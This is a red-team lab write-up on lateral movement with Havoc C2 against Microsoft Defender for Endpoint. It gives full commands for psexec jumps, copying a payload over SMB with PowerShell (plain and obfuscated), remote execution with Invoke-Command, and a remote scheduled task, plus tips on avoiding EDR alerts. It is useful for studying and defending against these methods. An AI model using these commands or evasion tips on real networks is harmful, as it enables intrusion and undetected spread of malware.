Home Grown Red Team: Lateral Movement With Havoc C2 And Microsoft EDR

Lateral movement is extremely important for any red team engagement. Getting your initial shell is great, but if you can’t move off the box you could be dead in the water.

Add Microsoft’s EDR into the mix and we’ve complicated things a bit. While there are other solutions out there (CrowdStrike, Elastic, ect), I will be focusing on Defender For Endpoint because it’s a popular EDR that many businesses utilize.

It’s important to note that I am using the out of box configuration and no additional rules have been made to my Defender for Endpoint threat hunting capabilities.

Now, we have already proven that we can get past UAC and elevate to admin without any alerts. If you haven’t read my UAC Bypass On Windows Defender for Endpoint With HighBorn article, give it a once over.

So the question is, if we can get an admin session on a box, can we move laterally without alerting Defender for Endpoint?

Active Directory Environment

So here is our extremely small AD environment.

We have David who is a domain admin on redteam.local and in this scenario, we have gotten David to execute our payload on Jim’s Workstation. We have escalated our privileges to a high integrity beacon and are ready to rock.

We have been told that there is some Top Secret stuff on the IIS-Server. So we need to get onto it to enumerate.

Havoc C2 Out Of Box Lateral Movement Techniques

The out of box lateral movement technique for Havoc is very similar to Cobalt Strike. We can use psexec to move a service binary over to our pivot and then call the service to get a beacon back.

Jumping right into our scenario, I already have and admin beacon on Jim’s Workstation.

So now we can use the psexec module, but we need to do some trickery first. In order to run this attack, we need a service binary. Since the out of box Havoc payloads have been signatured, we will need to obfuscate it.

First, let’s generate a Windows Service EXE file through Havoc and save it to our desktop.

Once the service binary is saved, we can use Donut to turn it into shellcode.

Now that we have our service binary in shellcode, we can run it through my personal shellcode tool, Harriet.

Now that we have our FUD service binary, JumP3r.exe, we can initiate the jump on Havoc.

Our command will look like this.

jump-exec psexec IIS-REDTEAM.redteam.local SERVic3 /home/user/Desktop/JumP3r.exe

We put in the FQDN, name our newly created service and then enter the path to our service executable.

And after a few seconds, we get a high integrity beacon back.

As you can see from the output on Havoc, we drop a service binary and the binary is executed with SYSTEM level privileges. This is awesome, but let’s check EDR to see if we evaded them.

Gross! Looks our psexec method has been stomped.

So…where does that leave us? After trying multiple techniques, the answer to bypassing Defender For Endpoint was very strange.

PowerShell.

Huh? PowerShell? Yeah, I know.

But there are some caveats to this. The biggest one is that transferring anything through SMB will alert. As a POC we can use this powershell line to try to copy our payload from Jim’s Workstation to IIS-REDTEAM through SMB.

powershell copy-item -PATH C:\Users\david\Downloads\MalT3st1.exe -Destination \\IIS-REDTEAM.redteam.local\C$\Users\david\Downloads\MalT3st1.exe

Since we already know that David is a DA, we can just copy our FUD payload over SMB to the IIS-Server. Then we can call it through PowerShell ScriptBlock.

powershell invoke-command -ComputerName IIS-REDTEAM -ScriptBlock {“C:\Users\david\Downloads\MalT3st1.exe”}

And we get a session back in high integrity!

But there’s EDR, so…

Bummer. If we dive into the alert we can see that there are a few problems here. Copy-Item is probably a stupid way of moving a binary around.

Let’s see if we can beat it with obfuscation.

powershell “$A= ‘copy-item’; $B= ‘-PATH’; $C= ‘C:\Users\david\Downloads\MalT3st1.exe’; $D= ‘-Destination’; $E= ‘\\IIS-REDTEAM.redteam.local\C$\Users\david\Downloads\MalT3st1.exe’; “powershell $A $B $C $D $E””

The obfuscated command seemed to have worked to download our payload.

Now let’s try to call it.

powershell invoke-command -ComputerName IIS-REDTEAM.redteam.local -ScriptBlock {“powershell C:\Users\david\Downloads\MalT3st1.exe”}

And we get a high integrity shell back. But what about the EDR?

Hmmm. That’s suspect. Did we really just bypass EDR and call our malware for lateral movement?

Let’s try to another method. How about a scheduled service?

A scheduled service through PowerShell in 2022? You have to be kidding. EDR will eat that for breakfast, right? Let’s give it a go!

We already have our malware on the server. So let’s try to run it with a scheduled service.

Here’s our command:

powershell invoke-command -ComputerName IIS-SERVER.redteam.local -ScriptBlock {powershell ‘$A = New-ScheduledTaskAction -Execute “C:\Users\david\Downloads\MalT3st1.exe”; $T = New-ScheduledTaskTrigger -once -At 13:39pm; $S = New-ScheduledTaskSettingsSet; $D = New-ScheduledTask -Action $A -Trigger $T -Settings $S; Register-ScheduledTask Cron -InputObject $D’}

We launch our command see that it sets up the scheduled service.

And at the scheduled time, we get a beacon back!

Let’s check in with EDR. This has to have been caught.

There’s no way. How is this possible? My guess is that the out of box EDR rule is set to look for binaries dropped in the “C:\Windows\” folder and doesn’t alert from the “New-ScheduledTaskAction” command in Powershell, but will alert using the Windows API CreateServiceA.

I’m also wondering if ScriptBlock logging is set up out of box. If you blast out Powershell commands from your beacon, eventually DFE will catch on and alert, but if you space them out by a few minutes, you can go undetected.

Obfuscating your Powershell commands helps a lot with this also. You don’t need to use Unicorn or Invoke-Obfuscation or whatever. You can just do it by setting commands to variables.

What is also interesting is that when I would mess up a command in Powershell, (which I did A LOT in testing) I wouldn’t get many alerts. So it seemed that the event logging really only happened once the command completed, not when the command actually launched.

Now, there are a lot of variables here. Maybe using Harriet as the shellcode loader helped. Maybe using Havoc helped with this. Maybe there’s a disconnect between my shitty AD environment and DFE in the cloud for data transfers on some events.

Is this definitive? No, none of this is definitive. I’m not sure I would trust this on an actual red team engagement, but it’s something you might want to try on a purple team event or as a defender (with consent of course).

Getting The Loot

Let’s see if we can find the Top Secret document.

Looks like it’s on David’s desktop. Let’s download the loot!

Let’s open it!

Harriet! How did you get on that server!?

Wrapping Up

So we have a few different methods of jumping from server to server here. If you know that you’re not going against any EDR on your engagement, utilize an obfuscated payload and feel free to use the builtin modules for jumping.

But if you’re going against EDR, use…PowerShell… That doesn’t even sound right. Hope you learned something! For more write-ups follow me on here or on Twitter @assume_breach